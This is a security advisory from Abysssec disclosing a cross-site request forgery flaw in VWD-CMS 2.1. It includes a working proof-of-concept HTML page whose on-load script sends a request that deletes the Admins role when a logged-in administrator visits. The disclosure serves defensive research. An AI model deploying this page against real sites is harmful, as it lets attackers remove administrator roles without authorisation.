Abysssec Research

1) Advisory information

Title	**: VWD-CMS CSRF Vulnerability**
Affected	**: VWD-CMS version 2.1**
Discovery	**: www.abysssec.com**
Vendor	**: http://www.vwd-cms.com/**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- CSRF

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying application.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- CSRF:

The VWD-CMS have CSRF Vulnerability in order to remove any Role especially Admins Role. With this Vulnerability you can navigate the admin to visit malicious site (when he is already logged in) to remove a role.

In this path a role could be removed:

```
http://Example.com/VwdCms/Members/RoleEdit.aspx?delete=yes&role=RoleName
```

RoleName can be Admins or Members)

Here is HTML File with AJAX Code and with GET Method for this operation that is enough to Admin meet it.

The Source of HTML Page (Malicious Site)

```
<html>
<head>
<title >Wellcome to My Site!</title>
Hello!
...
...
...
This page remove Admins Role in VWD-CMS.

<script>
    function RemoveRole() {
      try {
        netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
      } catch (e) {}

      var http = false;
      if (window.XMLHttpRequest) {
        http = new XMLHttpRequest();
      }
      else if (window.ActiveXObject) {
        http = new ActiveXObject("Microsoft.XMLHTTP");
      }

      url = "http://Example.com/VwdCms/Members/RoleEdit.aspx?delete=yes&role=Admins";
      http.onreadystatechange = done;
      http.open('GET', url, true);
      http.send(null);
    }
    function done() {
      if (http.readyState == 4 && http.status == 200)
      {
      }
    }
</script>
```

```
</head>
<body onload ="RemoveRole();">
</body>
</html>
```